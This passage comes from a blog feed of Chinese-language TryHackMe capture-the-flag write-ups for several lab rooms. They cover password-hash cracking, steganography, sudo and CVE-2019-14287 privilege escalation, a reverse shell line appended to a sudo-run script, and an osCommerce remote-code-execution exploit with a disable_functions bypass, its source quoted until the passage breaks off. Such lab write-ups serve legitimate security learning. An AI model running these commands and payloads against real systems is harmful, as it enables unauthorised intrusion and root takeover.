&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/e6929-HUQX7Ov.png"&gt;解壓縮 zip- 用最直覺的 &lt;code&gt;unzip&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/95ee3-OoGnr1v.png"&gt;&lt;/li&gt;
&lt;li&gt;會發現噴錯&lt;/li&gt;
&lt;li&gt;跟據&lt;a href="https://askubuntu.com/questions/596761/error-while-unzipping-need-pk-compat-v5-1-can-do-v4-6"&gt;這篇&lt;/a&gt;的講法，可以用 7z 來解&lt;code&gt;7z x 00000067.zip&lt;/code&gt;- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/b486f-0tfoRZr.png"&gt;&lt;/li&gt;
&lt;li&gt;用 7z 解，會發現 zip 需要密碼爆破 zip 密碼- 先把 zip 轉成 約翰格式&lt;/li&gt;
&lt;li&gt;&lt;code&gt;zip2john 00000067.zip &amp;gt; j.txt&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;john j.txt --wordlist=/opt/rockyou.txt&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;就可以取得密碼為 &lt;code&gt;alien&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/25acd-VhdQ6ME.png"&gt;解壓縮 zip- &lt;code&gt;7z x 00000067.zip&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;並使用密碼 &lt;code&gt;alien&lt;/code&gt; 即可解壓完畢&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/7da20-ZzuI3lQ.png"&gt;&lt;/li&gt;
&lt;li&gt;解壓內容可以看到一組奇怪的密碼 &lt;code&gt;QXJlYTUx&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;透過 base64 解碼&lt;code&gt;base64 -d 即可獲得 &lt;/code&gt;Area51&lt;code&gt;接下來看到另外一個檔案- &lt;/code&gt;cute-alien.jpg`&lt;/li&gt;
&lt;li&gt;這邊使用 &lt;code&gt;steghide&lt;/code&gt; 進行解密&lt;/li&gt;
&lt;li&gt;&lt;code&gt;steghide extract -sf cute-alien.jpg&lt;/code&gt;並搭配 &lt;code&gt;Area51&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/eac4d-XNbSHRD.png"&gt;- 發現成功的解出了 &lt;code&gt;message.txt&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/b1d32-uIkrnoy.png"&gt;我們可以發現文章內- 使用者 : &lt;code&gt;james&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;密碼 : &lt;code&gt;hackerrules!&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="ssh"&gt;SSH&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;透過 SSH 進行登入&lt;code&gt;ssh james@10.10.119.64&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/3fb46-kQnYXHF.png"&gt;尋找到 &lt;code&gt;user_flag.txt&lt;/code&gt;- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/475cc-Hbe1LbA.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;b03d975e8c92a7c04146cfa7a5a313c7&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="提權"&gt;提權&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;輸入 &lt;code&gt;sudo -l&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/217b5-MxoRJ33.png"&gt;&lt;/li&gt;
&lt;li&gt;所以我們不能以 root 身分執行&lt;code&gt;/bin/bash&lt;/code&gt;What is the incident of the photo called?- 裡面還找到了一張照片&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/c7d36-aAqWceo.png"&gt;&lt;/li&gt;
&lt;li&gt;透過 Google 以圖搜圖可以找到&lt;a href="https://www.foxnews.com/science/filmmaker-reveals-how-he-faked-infamous-roswell-alien-autopsy-footage-in-a-london-apartment"&gt;這篇&lt;/a&gt;新聞&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Roswell alien autopsy&lt;/code&gt;繼續提權- 透過 scp 上傳 Linpeas本機&lt;code&gt;scp linpeas.sh james@10.10.119.64:/tmp&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/e1e19-0xkBXzm.png"&gt;遠端- &lt;code&gt;bash linpeas.sh | tee meow.txt&lt;/code&gt;可以觀察到 Linpeas 把 sudo 版本變紅色- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/cb1d7-zpru0me.png"&gt;&lt;/li&gt;
&lt;li&gt;透過Google &lt;code&gt;Sudo 1.8.21p2&lt;/code&gt;可以找到 &lt;code&gt;CVE-2019-14287&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.exploit-db.com/exploits/47502"&gt;https://www.exploit-db.com/exploits/47502&lt;/a&gt;遠端機器剛好有 python 跟 vim- 那就直接開 vim 把 exploit 給貼上&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/93c78-uDhuoI0.png"&gt;把 python exploit code 給 run 起來- 詢問使用者名稱，就輸入 &lt;code&gt;james&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/69e46-DUiJN5U.png"&gt;&lt;/li&gt;
&lt;li&gt;成功提權!取得 root flag- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/b80d0-n85MNfD.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;b53a02f55b57d4439e3341834d70c062&lt;/code&gt;(Bonus) Who is Agent R?- 信最後 有寫 &lt;code&gt;DesKel&lt;/code&gt; aka Agent R&lt;/li&gt;
&lt;li&gt;阿不是阿，你名字裡哪裡有 R ㄌ ?__?&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Cyborg (Try Hack Me Writeup)</title><link>http://blog.stevenyu.tw/2021/07/29/cyborg-try-hack-me-writeup/</link><pubDate>Thu, 29 Jul 2021 23:58:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/07/29/cyborg-try-hack-me-writeup/</guid><description>&lt;blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;URL : &lt;a href="https://tryhackme.com/room/cyborgt8"&gt;https://tryhackme.com/room/cyborgt8&lt;/a&gt;&lt;br&gt;
IP : 10.10.210.57&lt;/p&gt;
&lt;h2 id="recon"&gt;Recon&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;老梗 &lt;code&gt;nmap -A 10.10.210.5&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/79c45-FxeAXB1.png"&gt;Scan the machine, how many ports are open?- &lt;code&gt;2&lt;/code&gt;What service is running on port 22?- &lt;code&gt;SSH&lt;/code&gt;What service is running on port 80?- &lt;code&gt;HTTP``python3 dirsearch.py -u http://10.10.210.57/ -e all&lt;/code&gt;- &lt;code&gt;/admin/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/etc/&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="解密"&gt;解密&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;先從 &lt;code&gt;/etc/&lt;/code&gt; 路徑開始看裡面有啥http://10.10.210.57/etc&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/eed59-ViOQB9W.png"&gt;找到路徑底下有一個 &lt;code&gt;passwd&lt;/code&gt;- http://10.10.210.57/etc/squid/passwd&lt;code&gt;music_archive:$apr1$BpZ.Q.1m$F0qqPwHSOG50URuOVQTTn.&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;看起來是 hash 格式，直接複製出來給約翰&lt;/li&gt;
&lt;li&gt;&lt;code&gt;john a.txt --wordlist=/opt/rockyou&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/631b7-WZB1ZHG.png"&gt;帳號 : &lt;code&gt;music_archive&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;密碼 : &lt;code&gt;squidward&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="尋寶"&gt;尋寶&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;去逛 &lt;code&gt;/admin/&lt;/code&gt;發現有 Archive 可以下載&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/9fc37-FnMkdhB.png"&gt;解開之後發現是一種奇怪格式- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/3370f-i3bMeZ8.png"&gt;&lt;/li&gt;
&lt;li&gt;檔案都是 binary 無法 print&lt;/li&gt;
&lt;li&gt;Readme 提醒我們可以去看 &lt;a href="https://borgbackup.readthedocs.io/"&gt;https://borgbackup.readthedocs.io/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;borg 是一種備份程式嘗試簡單的看完說明後- &lt;code&gt;borg list .&lt;/code&gt;輸入密碼，剛剛約翰破出來的 &lt;code&gt;squidward&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;可以看到一些資訊&lt;code&gt;borg mount . ../a&lt;/code&gt;- 把檔案掛載起來&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/3cfbf-eGdSZbu.png"&gt;發現掛載的檔案裡面有 note- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/ba8bb-YSBGSvx.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;alex:S3cretP@s3&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;看起來就很像帳密&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="進入系統"&gt;進入系統&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;用 ssh 搭配帳密登入&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/42c22-Cz2cN5e.png"&gt;&lt;/li&gt;
&lt;li&gt;取得 user flag&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/6f94e-7b23Lda.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;flag{1_hop3_y0u_ke3p_th3_arch1v3s_saf3}&lt;/code&gt;嘗試提權- 先用 sudo -l 看我們有什麼權限&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/8c497-FYjU6oy.png"&gt;&lt;/li&gt;
&lt;li&gt;發現我們可以用 &lt;code&gt;sudo&lt;/code&gt; 執行 &lt;code&gt;/etc/mp3backups/backup.sh&lt;/code&gt;觀察權限- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/3dcec-9rlPjU5.png"&gt;&lt;/li&gt;
&lt;li&gt;發現我們是這個檔案的擁有者，但我們不能修改他&lt;/li&gt;
&lt;li&gt;不過可以透過 &lt;code&gt;chmod +w&lt;/code&gt; 新增 Write 權限插入 shell- &lt;code&gt;echo &amp;quot;bash -c 'bash -i &amp;gt;&amp;amp; /dev/tcp/10.13.21.55/7877 0&amp;gt;&amp;amp;1'&amp;quot; &amp;gt;&amp;gt; /etc/mp3backups/backup.sh&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;直接用 reverse shell 插入檔案最下方執行 shell- 攻擊機開啟監聽&lt;code&gt;nc -vlk 7877&lt;/code&gt;被駭機用 sudo 執行該檔案- &lt;code&gt;sudo /etc/mp3backups/backup.sh&lt;/code&gt;拿到 root shell!- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/3e35c-xEM5R4U.png"&gt;貓根旗幟- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/c3edb-KW4V2yi.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;flag{Than5s_f0r_play1ng_H0p£_y0u_enJ053d}&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Blueprint (Try Hack Me Writeup)</title><link>http://blog.stevenyu.tw/2021/07/29/blueprint-try-hack-me-writeup/</link><pubDate>Thu, 29 Jul 2021 23:55:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/07/29/blueprint-try-hack-me-writeup/</guid><description>&lt;blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;URL : &lt;a href="https://tryhackme.com/room/blueprint"&gt;https://tryhackme.com/room/blueprint&lt;/a&gt;&lt;br&gt;
IP : 10.10.66.7&lt;/p&gt;
&lt;h2 id="scan"&gt;Scan&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;一樣老梗 &lt;code&gt;nmap -A 10.10.66.7&lt;/code&gt; 發現開了很多 port&lt;/li&gt;
&lt;li&gt;80 port 進去是 404先放一邊&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;└─$ nmap -A 10.10.66.7
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-29 03:57 EDT
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Nmap scan report for 10.10.66.7
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Host is up (0.32s latency).
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Not shown: 984 closed ports
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PORT STATE SERVICE VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;80/tcp open http Microsoft IIS httpd 7.5
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| http-methods:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ Potentially risky methods: TRACE
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-server-header: Microsoft-IIS/7.5
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-title: 404 - File or directory not found.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;135/tcp open msrpc Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;139/tcp open netbios-ssn Microsoft Windows netbios-ssn
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;443/tcp open ssl/http Apache httpd 2.4.23 (OpenSSL/1.0.2h PHP/5.6.28)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-server-header: Apache/2.4.23 (Win32) OpenSSL/1.0.2h PHP/5.6.28
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-title: Bad request!
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ssl-cert: Subject: commonName=localhost
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Not valid before: 2009-11-10T23:48:47
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_Not valid after: 2019-11-08T23:48:47
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ssl-date: TLS randomness does not represent time
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| tls-alpn:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ http/1.1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;445/tcp open microsoft-ds Windows 7 Home Basic 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;1165/tcp filtered qsm-gui
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;1971/tcp filtered netop-school
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;3306/tcp open mysql MariaDB (unauthorized)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;5190/tcp filtered aol
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;8080/tcp open http Apache httpd 2.4.23 (OpenSSL/1.0.2h PHP/5.6.28)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| http-methods:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ Potentially risky methods: TRACE
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-server-header: Apache/2.4.23 (Win32) OpenSSL/1.0.2h PHP/5.6.28
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-title: Index of /
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;49152/tcp open msrpc Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;49153/tcp open msrpc Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;49154/tcp open msrpc Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;49158/tcp open msrpc Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;49159/tcp open msrpc Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;49160/tcp open msrpc Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Service Info: Hosts: www.example.com, BLUEPRINT, localhost; OS: Windows; CPE: cpe:/o:microsoft:windows
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Host script results:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_clock-skew: mean: -20m00s, deviation: 34m36s, median: -1s
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_nbstat: NetBIOS name: BLUEPRINT, NetBIOS user: , NetBIOS MAC: 02:24:bb:82:08:6f (unknown)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| smb-os-discovery:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| OS: Windows 7 Home Basic 7601 Service Pack 1 (Windows 7 Home Basic 6.1)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| OS CPE: cpe:/o:microsoft:windows_7::sp1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Computer name: BLUEPRINT
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| NetBIOS computer name: BLUEPRINT\x00
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Workgroup: WORKGROUP\x00
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ System time: 2021-07-29T08:58:58+01:00
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| smb-security-mode:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| account_used: guest
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| authentication_level: user
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| challenge_response: supported
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ message_signing: disabled (dangerous, but default)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| smb2-security-mode:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| 2.02:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ Message signing enabled but not required
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| smb2-time:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| date: 2021-07-29T07:58:57
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ start_date: 2021-07-29T07:49:40
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Nmap done: 1 IP address (1 host up) scanned in 131.87 seconds
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;測試老洞445 port SMB 有開，又是 Windows 系統很直覺的掃一下老洞 MS17-010&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/3ndG4me/AutoBlue-MS17-010"&gt;https://github.com/3ndG4me/AutoBlue-MS17-010&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/28994-vVpzLMe.png"&gt;&lt;/li&gt;
&lt;li&gt;發現打不進去 QQ觀察 web- 發現 8080 port 跟 443 port 的 web server 都指向同一個 web server&lt;/li&gt;
&lt;li&gt;裡面有一個 &lt;code&gt;oscommerce-2.3.4&lt;/code&gt; 路徑&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/4143e-ME9VmfO.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="exploit"&gt;Exploit&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;尋找 exploitGoogle &lt;code&gt;oscommerce-2.3.4 Exploit&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.exploit-db.com/exploits/44374"&gt;https://www.exploit-db.com/exploits/44374&lt;/a&gt;部屬 exploit- wget &lt;a href="https://www.exploit-db.com/download/44374"&gt;https://www.exploit-db.com/download/44374&lt;/a&gt; -O 44374.py&lt;/li&gt;
&lt;li&gt;修改路徑&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#6272a4"&gt;# enter the the target url here, as well as the url to the install.php (Do NOT remove the ?step=4)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; base_url &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#34;http://10.10.66.7:8080/oscommerce-2.3.4/catalog/&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; target_url &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#34;http://10.10.66.7:8080/oscommerce-2.3.4/catalog/install/install.php?step=4&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;修改指令&lt;code&gt;payload += 'system(&amp;quot;whoami&amp;quot;);'&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;接著執行 &lt;code&gt;44374.py&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/807a7-A1brcVL.png"&gt;&lt;/li&gt;
&lt;li&gt;發現禁止 &lt;code&gt;system&lt;/code&gt;嘗試 &lt;code&gt;phpinfo()&lt;/code&gt;- 發現 &lt;code&gt;disable_functions&lt;/code&gt; 只有禁止 &lt;code&gt;system&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/d41fa-z9Ln4KP.png"&gt;&lt;/li&gt;
&lt;li&gt;這邊有非常多種繞過方法，例如passthru&lt;/li&gt;
&lt;li&gt;shell_exec&lt;/li&gt;
&lt;li&gt;exec在此取用 &lt;code&gt;passthru&lt;/code&gt;再次嘗試 payload- &lt;code&gt;payload += 'passthru(&amp;quot;whoami&amp;quot;);'&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/b7fea-8eH0aD5.png"&gt;&lt;/li&gt;
&lt;li&gt;發現他直接吐了一個 system 給我!!準備戳 reverse shell- 找到一個 php windows reverse shellhttps://github.com/Dhayalanb/windows-php-reverse-shell/blob/master/Reverse%20Shell.php&lt;/li&gt;
&lt;li&gt;基本上他的原理是寫檔，把base64轉成一隻exe跑起reverse shell拿來微調一下修改 &lt;code&gt;ip&lt;/code&gt;、&lt;code&gt;port&lt;/code&gt;、然後把 &lt;code&gt;system&lt;/code&gt; 改 &lt;code&gt;passthru&lt;/code&gt;放進 &lt;code&gt;44374.py&lt;/code&gt;完整 exploit code&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#6272a4"&gt;# Exploit Title: osCommerce 2.3.4.1 Remote Code Execution&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#6272a4"&gt;# Date: 29.0.3.2018&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#6272a4"&gt;# Exploit Author: Simon Scannell - https://scannell-infosec.net &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#6272a4"&gt;# Version: 2.3.4.1, 2.3.4 - Other versions have not been tested but are likely to be vulnerable&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#6272a4"&gt;# Tested on: Linux, Windows&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#6272a4"&gt;# If an Admin has not removed the /install/ directory as advised from an osCommerce installation, it is possible&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#6272a4"&gt;# for an unauthenticated attacker to reinstall the page. The installation of osCommerce does not check if the page&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#6272a4"&gt;# is already installed and does not attempt to do any authentication. It is possible for an attacker to directly&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#6272a4"&gt;# execute the &amp;#34;install_4.php&amp;#34; script, which will create the config file for the installation. It is possible to inject&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#6272a4"&gt;# PHP code into the config file and then simply executing the code by opening it.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;import&lt;/span&gt; requests
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#6272a4"&gt;# enter the the target url here, as well as the url to the install.php (Do NOT remove the ?step=4)&lt;/span&gt;
